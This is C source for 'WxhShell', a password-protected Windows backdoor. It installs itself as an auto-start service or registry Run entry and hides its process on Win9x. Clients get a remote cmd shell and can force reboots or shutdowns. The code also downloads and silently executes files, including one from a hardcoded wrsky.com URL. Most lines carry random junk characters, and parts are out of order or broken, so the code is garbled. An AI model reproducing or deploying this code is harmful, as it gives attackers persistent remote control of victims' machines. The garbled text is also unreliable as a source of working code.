    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Oe;9[=L[  
    if(Boot(SHUTDOWN)) rylllJz|L:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gg-<3z  
    else { ` 0\hm`  
    closesocket(wsh); Z?v9ub~%  
    ExitThread(0); ? 4.W _  
    } m{V @Om  
    break; "BzRL g!J  
    } Zr$PSp}  
  // 获取shell _$fxoD9  
  case 's': { +}^} <|W6  
    CmdShell(wsh); _IgG8)k;  
    closesocket(wsh); "%}PVO!  
    ExitThread(0); I7[+:?2  
    break; e?f[t*td  
  } *b7v)d#  
  // 退出 "CZ`hx1|^  
  case 'x': { `qfVgT=2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jj.yB#T  
    CloseIt(wsh); g5T~%t5lo  
    break; u6%56 %^f  
    } 5Impv3qaZ  
  // 离开 u |f h!-  
  case 'q': { C[x!Lf8'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qv,|7yw{  
    closesocket(wsh); OZISh?  
    WSACleanup(); tcRK\  
    exit(1); w5&UG/z%l  
    break; q.g!WLiI  
        } M8g=t[\  
  } 1F$a My?  
  } G LE`ba  
bAW;2 NB  
  // 提示信息 H=wmN0s{<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K IqF"5  
} Kh5:+n_X  
  } K zM\+yC  
aV>w($tdd  
  return; xDVzHgbf  
} - 6  
Ke\?;1+  
// shell模块句柄 1"!<e$&$X  
int CmdShell(SOCKET sock) F<^,j7@  
{ Y RA[qc  
STARTUPINFO si; dXdU4YJ X  
ZeroMemory(&si,sizeof(si)); AS8T!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ky$ <WZs  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1x\%VtO>\b  
PROCESS_INFORMATION ProcessInfo; b"f4}b  
char cmdline[]="cmd"; MKQa&Dvw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ls/:/x(5d  
  return 0; TuX#;!p6  
} lSbAZ6  
S:t7U %  
// 自身启动模式 0TVO'$Gvi  
int StartFromService(void) H9 't;Do  
{ l+T\DZ  
typedef struct %GHHnf%2Z  
{ #b{otc)  
  DWORD ExitStatus; 6}<PBl%qe  
  DWORD PebBaseAddress; ['sIR+c%'O  
  DWORD AffinityMask; t(ZiQ<A  
  DWORD BasePriority; }~A-ELe:  
  ULONG UniqueProcessId; y`\/eX  
  ULONG InheritedFromUniqueProcessId; .oSKSld  
}   PROCESS_BASIC_INFORMATION; @NV$!FB<  
S'?XI@t[  
PROCNTQSIP NtQueryInformationProcess; Z0-W%W  
|1t30_ /gS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Nzr zLK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WM>9sJf  
d;'@4NX5+  
  HANDLE             hProcess; c| p eRO.  
  PROCESS_BASIC_INFORMATION pbi; m&; t;&#  
>~ne(n4qy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j)J4[j  
  if(NULL == hInst ) return 0; (]iw#m{  
ss-Be  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q[g%((DL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @gTpiV2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5V%K'a(  
<'s1+^LC  
  if (!NtQueryInformationProcess) return 0; N;ssO,  
X|8Y z3:o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \DfvNeF  
  if(!hProcess) return 0; &<v# ^2S3  
Z\@vN[[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xat)9Yb}0  
Que)kjp  
  CloseHandle(hProcess); SYl :X   
v 7Pv&|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,Cx5( ~kU  
if(hProcess==NULL) return 0; -/FCd(  
. vYGJ8(P  
HMODULE hMod; 8n2* z  
char procName[255]; LkNfcBa_  
unsigned long cbNeeded; Mu{mj4Y{  
E!ZDqq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v&uIxFCR  
JRl8S   
  CloseHandle(hProcess); ayC*n'  
;qzCoe  
if(strstr(procName,"services")) return 1; // 以服务启动 #Dy;x\a  
}*? e w  
  return 0; // 注册表启动 $`]<4I9d  
} =Ybbh`$<  
|w\D6d]o  
// 主模块 85nUR [)h  
int StartWxhshell(LPSTR lpCmdLine) F\>`j   
{ i8A5m@,G  
  SOCKET wsl; F,4Q  
BOOL val=TRUE; &A%#LVjf  
  int port=0; Tm` QZh3  
  struct sockaddr_in door; (VC_vz-  
mp@JsCU  
  if(wscfg.ws_autoins) Install(); ,`H=%#  
'jmcS0f -  
port=atoi(lpCmdLine); dJCu`34Y'|  
uOZ+9x(  
if(port<=0) port=wscfg.ws_port; @ZT25CD  
+mAMCM2N  
  WSADATA data; T@k&YJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?#]c{Tlpz  
>5]Xl*{H)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vA+RZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `W|2Xi=^5  
  door.sin_family = AF_INET; !Ng^k>*h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x)V.^-  
  door.sin_port = htons(port); \Lh,dZ}d  
r;S%BFMJS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #JTi]U6`  
closesocket(wsl); Ry/NfF=  
return 1; ^S, "i V  
} #<se0CJB  
\'1%"JWK   
  if(listen(wsl,2) == INVALID_SOCKET) { b6g,mzqu  
closesocket(wsl); 6 *Q5.g  
return 1; tF`>.=  
} tT'd]  
  Wxhshell(wsl); }V9146  
  WSACleanup(); kv)LH{  
S,Oy}Nv  
return 0; l65'EO|  
]4hXK!^Uu  
} ,[~Ydth  
l<v /T  
// 以NT服务方式启动 G::6?+S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g]jtVQH']  
{ kqHh@]Z0'  
DWORD   status = 0; nw\p3  
  DWORD   specificError = 0xfffffff; PqvwM2}4  
$aGK8%.O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W*8D@a0 _  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1eT|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B&L{/.v_z\  
  serviceStatus.dwWin32ExitCode     = 0; tD>m%1'&  
  serviceStatus.dwServiceSpecificExitCode = 0; 7N'F]x  
  serviceStatus.dwCheckPoint       = 0; /mr&Y}7T  
  serviceStatus.dwWaitHint       = 0; ?k"KZxpT  
c~c3;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k&^Megcb  
  if (hServiceStatusHandle==0) return; u5idH),<  
EiT raWV"O  
status = GetLastError(); Jr1^qY`0+  
  if (status!=NO_ERROR) FRfMtxvU  
{ s$Roe(J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >A1Yn]k  
    serviceStatus.dwCheckPoint       = 0; Y&gfe8%5N  
    serviceStatus.dwWaitHint       = 0; 0.+iVOz+Y  
    serviceStatus.dwWin32ExitCode     = status; s?_b[B d  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6`+DBr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #0^Q UOp  
    return; /$q;-/DnTZ  
  } uj8]\MY  
.+B!mmp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l~f +h?cF  
  serviceStatus.dwCheckPoint       = 0; ~\i uV  
  serviceStatus.dwWaitHint       = 0; sCnZ\C@u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y}|78|q*  
} sIELkF?.  
{CGk5`g~  
// 处理NT服务事件,比如:启动、停止 cHR}`U$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -Fl3m  
{ 4+ 4? 0R  
switch(fdwControl) ` D4J9;|;]  
{ SX F F  
case SERVICE_CONTROL_STOP: <v{jJ7w  
  serviceStatus.dwWin32ExitCode = 0; ,lN!XP{M6w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O|gb{  
  serviceStatus.dwCheckPoint   = 0; :I&iDS>u1  
  serviceStatus.dwWaitHint     = 0; /CZOO)n  
  { Pu*st=KGB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h[B Ft{x  
  } J(l6(+8  
  return; @MN>ye'T  
case SERVICE_CONTROL_PAUSE: 06=eA0JI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WG^D$L:  
  break; )3u[btm  
case SERVICE_CONTROL_CONTINUE: zV2c `he%z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,U<Ku*}B  
  break; 3a#!^ G!~  
case SERVICE_CONTROL_INTERROGATE: Rl S=^}>  
  break; Q"Bgr&RJ  
}; M)b`~|Wt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); se)I2T{J  
} &1Az`[zKGW  
OB"QWdh  
// 标准应用程序主函数 oxad}Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m:"2I&0)WM  
{ g@j:TQM_0  
\64(`6>  
// 获取操作系统版本 Mz"kaO  
OsIsNt=GetOsVer(); -<<!eH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i!Ne<Q  
\SMH",u  
  // 从命令行安装 t@4vEKw?.X  
  if(strpbrk(lpCmdLine,"iI")) Install(); C{>?~@z&5  
TbX ZU$[c  
  // 下载执行文件 %/>_o{"hw  
if(wscfg.ws_downexe) { q#WqU8~Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?2G^6>O `  
  WinExec(wscfg.ws_filenam,SW_HIDE);  ! $d:k|b  
} 0,/[r/=jT  
{'X"9@  
if(!OsIsNt) { 1r.q]^Pq~  
// 如果时win9x,隐藏进程并且设置为注册表启动 As>po +T*  
HideProc(); -eNi;u  
StartWxhshell(lpCmdLine); *}2o \h6Q  
} K:9.fTCs*  
else 2.:b   
  if(StartFromService()) f<zh-Gq  
  // 以服务方式启动 B! -W765Y  
  StartServiceCtrlDispatcher(DispatchTable); j#~4JGZt  
else 2C-RoZ~  
  // 普通方式启动 $jc>?.6  
  StartWxhshell(lpCmdLine); LpF6e9V\Wp  
=l_eliM/  
return 0; 8zY)0  
} =]Ek12.  
q$HBPR4h  
Rd#,Tl\  
'dht5iI;Yw  
=========================================== oiR` \uY  
v=W%|iZ  
s&tr84u|  
?px x,o6l  
 x'  
I~mw\K{.3M  
" [hiOFmMJZ-  
:!#-k  
#include <stdio.h> ,f1+jC  
#include <string.h> dk3\~m%Pv  
#include <windows.h> B j*X_m  
#include <winsock2.h> Q2#)Jx\6!  
#include <winsvc.h>  $hN!DHz  
#include <urlmon.h> , D&FCs%v  
y\%4Dir  
#pragma comment (lib, "Ws2_32.lib") t71 0sWh{  
#pragma comment (lib, "urlmon.lib") 4 A  
A&t}s #3  
#define MAX_USER   100 // 最大客户端连接数 )c!f J7o:  
#define BUF_SOCK   200 // sock buffer K+GjJ8  
#define KEY_BUFF   255 // 输入 buffer Dljq  
3yZ@i<rfH  
#define REBOOT     0   // 重启 Yhx~5p  
#define SHUTDOWN   1   // 关机 * dNMnZ@Y  
,Y&kW'2  
#define DEF_PORT   5000 // 监听端口 =lffr?#&B  
c''!&;[!  
#define REG_LEN     16   // 注册表键长度 D1Fc7! TV  
#define SVC_LEN     80   // NT服务名长度 {uhw ^)v  
"w7:{E5e  
// 从dll定义API =!{dKz-&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -'I)2/%g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !AMPA*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $MR{3-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $4eogI7N>w  
f< '~K  
// wxhshell配置信息 :{Y,Nsa  
struct WSCFG { KT|$vw2b  
  int ws_port;         // 监听端口 cq!> B{  
  char ws_passstr[REG_LEN]; // 口令 D #A9  
  int ws_autoins;       // 安装标记, 1=yes 0=no T8RQM1D_s  
  char ws_regname[REG_LEN]; // 注册表键名 9^}GUJy?  
  char ws_svcname[REG_LEN]; // 服务名 GEvif4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +^"|FtKhE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3 Zbvf^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]IoS-)$Z/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .lE"N1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QP qa\87  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XFX:) l#o  
1o$<pZZ  
}; fNlUc  
 k/t4  
// default Wxhshell configuration ]V9\4#I4  
struct WSCFG wscfg={DEF_PORT, 8T2$0  
    "xuhuanlingzhe", fY6&PuDf.  
    1, &9O-!  
    "Wxhshell", \C>I6{  
    "Wxhshell", *D9QwQ _|  
            "WxhShell Service", 3W27R  
    "Wrsky Windows CmdShell Service", g;*~ xo  
    "Please Input Your Password: ", vUCU%>F  
  1,  a1j 6-p  
  "http://www.wrsky.com/wxhshell.exe", Jl4zj>8~  
  "Wxhshell.exe" pQqZ4L6v  
    }; '8W }|aF  
LS \4y&J40  
// 消息定义模块 _ Fer-nQ2R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a u#IA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M9iu#6P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N8!B2uPQ  
char *msg_ws_ext="\n\rExit."; >=B8PK+<  
char *msg_ws_end="\n\rQuit."; k!! o!rBS  
char *msg_ws_boot="\n\rReboot..."; 3_D$6/i  
char *msg_ws_poff="\n\rShutdown..."; 0/*z]2  
char *msg_ws_down="\n\rSave to "; y6Rg@L&U  
S3n$  
char *msg_ws_err="\n\rErr!"; &yP9vp="  
char *msg_ws_ok="\n\rOK!"; N2~Nc"L  
XCk \#(VSE  
char ExeFile[MAX_PATH]; xo]|m\#k5E  
int nUser = 0; "rX`h  
HANDLE handles[MAX_USER]; k3e $0`Q  
int OsIsNt; 8ayB<b>+]"  
vk$]$6l2  
SERVICE_STATUS       serviceStatus; ANWa%%\T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9BF #R<}h  
~xA' -N/  
// 函数声明 )! OEa]  
int Install(void); 6 .*=1P*?  
int Uninstall(void); ty "k  
int DownloadFile(char *sURL, SOCKET wsh); g~`UC  
int Boot(int flag); PvO>}(=  
void HideProc(void); 0t<TZa]V  
int GetOsVer(void); x2 tx{Z  
int Wxhshell(SOCKET wsl); bhFzu[B  
void TalkWithClient(void *cs); o05) I2  
int CmdShell(SOCKET sock); WSh+5](:  
int StartFromService(void); qf'uXH  
int StartWxhshell(LPSTR lpCmdLine); J%%nv5y  
@(ev``L5g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l3.HL> o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2"2b\b}my  
xKIm2% U9  
// 数据结构和表定义 7gv kd+-*  
SERVICE_TABLE_ENTRY DispatchTable[] = (h2bxfV~+  
{ UW40Y3W0  
{wscfg.ws_svcname, NTServiceMain}, \N!k)6\  
{NULL, NULL} whD%Oz*f  
}; fD V:ueO  
7kj#3(e  
// 自我安装 wG -X833\(  
int Install(void) ?-Oy/Y K  
{ 2pZ|+!xc+  
  char svExeFile[MAX_PATH]; 6\ (\  
  HKEY key; $Y>LUZ)b&8  
  strcpy(svExeFile,ExeFile); 3"cAwU9  
yht_*7.lM  
// 如果是win9x系统,修改注册表设为自启动 .( 75.^b2)  
if(!OsIsNt) { =)'AXtvE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c7sW:Yzil  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T?Hs_u{  
  RegCloseKey(key); /}(w{6C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5{j1<4zxR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l'mgjv~  
  RegCloseKey(key); #W* 5=Cf  
  return 0; A LKU  
    } mKn:EqA  
  } poQY X5  
} }oloMtp$  
else { /\OjtE  
X 5pp8~  
// 如果是NT以上系统,安装为系统服务 `@-H ;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wzF/`z&0?6  
if (schSCManager!=0) _0ep[r  
{ c:4 i&|n  
  SC_HANDLE schService = CreateService `WX @1]m  
  ( TLw.rEN!;  
  schSCManager, >f74]J=V  
  wscfg.ws_svcname, 0oc5ahp  
  wscfg.ws_svcdisp, L%I@HB9-Q0  
  SERVICE_ALL_ACCESS, UoBmS 5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *7`;{O  
  SERVICE_AUTO_START, iVwI}%k  
  SERVICE_ERROR_NORMAL, _6xC4@~h*  
  svExeFile, jDOB (fE  
  NULL, %Q]m6ciAM  
  NULL, 3)p#}_u{  
  NULL, ^vfp;  
  NULL, ?/5WM%  
  NULL 3~%9;.I3!  
  ); 1s/t}J~zZ  
  if (schService!=0) SW# 5px`  
  { 4h|sbB"t  
  CloseServiceHandle(schService); w%KU@$  
  CloseServiceHandle(schSCManager); wtIXZU x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0%#ZupN  
  strcat(svExeFile,wscfg.ws_svcname); ~#pQWa5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5Ta<$t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r3{Cuz  
  RegCloseKey(key); E.zY(#S  
  return 0; Gdb6 U{  
    } 7CWz)LT  
  } T}M!A|   
  CloseServiceHandle(schSCManager); dXg.[|S*  
} Wz;7 |UC  
} H0LEK(K  
LJ\uRfs  
return 1; STtjkZ6  
} sZxf.  
PqKbG<}Y  
// 自我卸载 V*Ta[)E  
int Uninstall(void) U\s.fIr  
{ F^fL  
  HKEY key; 6Q"fRXM   
Gx,<|v  
if(!OsIsNt) { 4l_!OUvt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )7f;FWI  
  RegDeleteValue(key,wscfg.ws_regname); (_Ph{IN  
  RegCloseKey(key); !?#B*JGFS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CD]"Q1 t}  
  RegDeleteValue(key,wscfg.ws_regname); U9[QdC  
  RegCloseKey(key); Na=.LW-ma=  
  return 0; vz[oy|{F  
  } mu@He&w"  
} suiO%H^t  
} ] -iMo4H  
else { avxr|uk  
FN0)DN2d}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); waT'|9{  
if (schSCManager!=0) THEpW{.E  
{ ' d' Dlg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  0@7%  
  if (schService!=0) }M7{~ov#s  
  { v P;  
  if(DeleteService(schService)!=0) { A6eIf  
  CloseServiceHandle(schService); O*jTrZ(k  
  CloseServiceHandle(schSCManager); ( y0  
  return 0; rr~O6Db  
  } L6<.>\^Z"  
  CloseServiceHandle(schService); 40h  
  } Fab gJu  
  CloseServiceHandle(schSCManager); x *:v]6y  
} ]L)l5@5^  
} wo>7^ZA  
,58XLu  
return 1; {8]Yqx)1]]  
} @:s (L]  
)seeBm-`  
// 从指定url下载文件 Wz{,N07Q#{  
int DownloadFile(char *sURL, SOCKET wsh) ^1`Mz<  
{ %j $r"  
  HRESULT hr; ]"q9~  
char seps[]= "/"; Z#uxa  
char *token; (r*"}"ZG  
char *file; c6-~PKJL  
char myURL[MAX_PATH]; 9 n0 ?0mk  
char myFILE[MAX_PATH]; =2XAQiUR\  
-,:^dxE'  
strcpy(myURL,sURL); }ZqnsLu[)  
  token=strtok(myURL,seps); )?y${T   
  while(token!=NULL) }jdMo83  
  { @qUgp*+{  
    file=token; ~  p~  
  token=strtok(NULL,seps); '< =77yDg  
  } )>"|<h.2]  
tW-wO[2  
GetCurrentDirectory(MAX_PATH,myFILE); " l;=jk]  
strcat(myFILE, "\\"); tEuVn5  
strcat(myFILE, file); :Eb=jWA  
  send(wsh,myFILE,strlen(myFILE),0); s$g3__|Y  
send(wsh,"...",3,0); 80_}}op ?8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d#(ffPlq  
  if(hr==S_OK) +,c]FAx4  
return 0; MxLg8,M  
else 2^w8J w9  
return 1; F% < ZEVm  
3le$0f:O  
} .D3k(zZ  
'><I|c}  
// 系统电源模块 DMdVE P"m  
int Boot(int flag) h~`^H9?M  
{ kY?w] lS)t  
  HANDLE hToken; W*;r}!ro  
  TOKEN_PRIVILEGES tkp; 4++ &P9  
tNvjwgV\  
  if(OsIsNt) { dkWV/DAm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |1%eo.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K0A[xkX6  
    tkp.PrivilegeCount = 1; u~8=ik n+T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %p;;aZG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `eEiSf  
if(flag==REBOOT) { w!_6*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]WYddiF  
  return 0; vJj}$AlI  
} Yr)<1.K4,M  
else { <sTY<iVR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7S/\;DF  
  return 0; {zIcEN$ ~  
} NG5k9pJ  
  } W"!{f  
  else { hsAk7KC  
if(flag==REBOOT) { sa?s[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .^xQtnq  
  return 0; 0e +Qn&$#4  
} y9Pw'4R  
else { +[Izz~ _p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uOAd$;h@_Z  
  return 0; ~KYA{^`*  
} NOSL b];  
} Hb3..o:  
ku)/ 8Z`$  
return 1; ^U9b)KA  
} SuA  @S  
cO8yu`4!e  
// win9x进程隐藏模块 MX"M2>"pT  
void HideProc(void) %RX!Pi}5+g  
{ ]T=o>%  
h$]nfHi_Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 14`S9SL{V  
  if ( hKernel != NULL ) eRm*+l|?  
  { /H*[~b   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l0r^LK$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B{K_?ae!  
    FreeLibrary(hKernel); g;~$xXn  
  } .U#oN_D  
Z|B`n SzH  
return; Gs/G_E(T  
} SveP:uJA[  
emHaZhh  
// 获取操作系统版本 I6i qC"BK  
int GetOsVer(void) D}rnp wp{  
{ N C3XJ 4  
  OSVERSIONINFO winfo; A;TNR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qtjx<`EK>  
  GetVersionEx(&winfo); zmg :Z p=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1()pKBHf  
  return 1; T"e"?JSRJ  
  else )TcD-Jr  
  return 0; ^7Ebg5<  
}  c`}YL4  
J ql$ g  
// 客户端句柄模块 4}t$Lf_  
int Wxhshell(SOCKET wsl) q}]z8 L  
{ iow"X6_l_  
  SOCKET wsh; E~S~Ld%  
  struct sockaddr_in client; 2;7n0LOs}  
  DWORD myID; =)f.Yf|A*  
l'1_Fb  
  while(nUser<MAX_USER) *-3*51 jW  
{ '#Q\p6G&_  
  int nSize=sizeof(client); WtlLqD!_D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &x3R+(H {  
  if(wsh==INVALID_SOCKET) return 1; 1QbD]"=n  
})?KpYk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /&em%/  
if(handles[nUser]==0) K8uqLSP '  
  closesocket(wsh); 6RfS_  
else MFz6y":~  
  nUser++;  Cy5M0{  
  } b2^O$ l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c3)6{  
}-@h H(  
  return 0; fM3ZoH/  
} w x,gth*p  
h$d`Jmaq  
// 关闭 socket =&mdxKoT0  
void CloseIt(SOCKET wsh)  eI/@ut}v  
{ ' Uo|@tK  
closesocket(wsh); #TIlM]5%  
nUser--; s,j=Kym%  
ExitThread(0); L-|u=c-6  
} 7-}/{o*,5  
NkxW*w%}l  
// 客户端请求句柄 ;Ouu+#s  
void TalkWithClient(void *cs) bLC+73BjC  
{ X CHN'l'  
t?FPmbj v  
  SOCKET wsh=(SOCKET)cs; 0BN=>]V~j7  
  char pwd[SVC_LEN]; Bam 4%G5  
  char cmd[KEY_BUFF]; } DjbVYH  
char chr[1]; .G>6_n3  
int i,j; } O:l]O`  
qJK6S4O]  
  while (nUser < MAX_USER) { "4CO^ B  
rs@qC>_C0  
if(wscfg.ws_passstr) { `jT1R!$3F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  s-S|#5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {'o\#4 Wk  
  //ZeroMemory(pwd,KEY_BUFF); 3JZ9 G79H  
      i=0; zrV~7$HL  
  while(i<SVC_LEN) { uXdR-@80*  
(X|lK.W y  
  // 设置超时 npcL<$<6X  
  fd_set FdRead; ?V})2wwP  
  struct timeval TimeOut; m$bNQ7  
  FD_ZERO(&FdRead); %`j2?rn  
  FD_SET(wsh,&FdRead); N lB%Qu  
  TimeOut.tv_sec=8; b|U3\Fmc  
  TimeOut.tv_usec=0; b(_PV#@$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5xc-MkIRL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `IK3e9QpcA  
R-5e9vyS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /&RS+By(i  
  pwd=chr[0]; 9]|G-cyt  
  if(chr[0]==0xd || chr[0]==0xa) { Tl*FK?)MC^  
  pwd=0; E>rWm_G  
  break; gX]'RBTb  
  } "0{t~?ol  
  i++; T0BM:ofx  
    } W4=<hB  
7;NvR4P%  
  // 如果是非法用户,关闭 socket (L"G,l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k5)e7Lb(  
} xcN >L  
] dHV^!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WC 5v#*Jd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y_Nn%(j  
R1\$}ep^  
while(1) { -;t]e6[  
*Ui>NTl  
  ZeroMemory(cmd,KEY_BUFF); E" b" VB  
E#,n.U>#)  
      // 自动支持客户端 telnet标准   B1 [O9U:  
  j=0; G `JXi/#`  
  while(j<KEY_BUFF) { 2_;3B4GDF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .8Gmy07  
  cmd[j]=chr[0]; A@OSh6/{h  
  if(chr[0]==0xa || chr[0]==0xd) { M-NY&@Nj  
  cmd[j]=0; Z#062NL "  
  break; fQ~YBFhlr  
  } eX9H/&g  
  j++; !e:HE/&>i  
    } WAp#[mW.fx  
n*i1QC  
  // 下载文件 b+mh9q'5E  
  if(strstr(cmd,"http://")) { QP4`r#,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IF.6sJg:  
  if(DownloadFile(cmd,wsh)) F anA~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S-)%#  
  else \S"YLRn"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f m'Qif q^  
  } !_=3Dz  
  else { $,B@yiie  
UZqk2D  
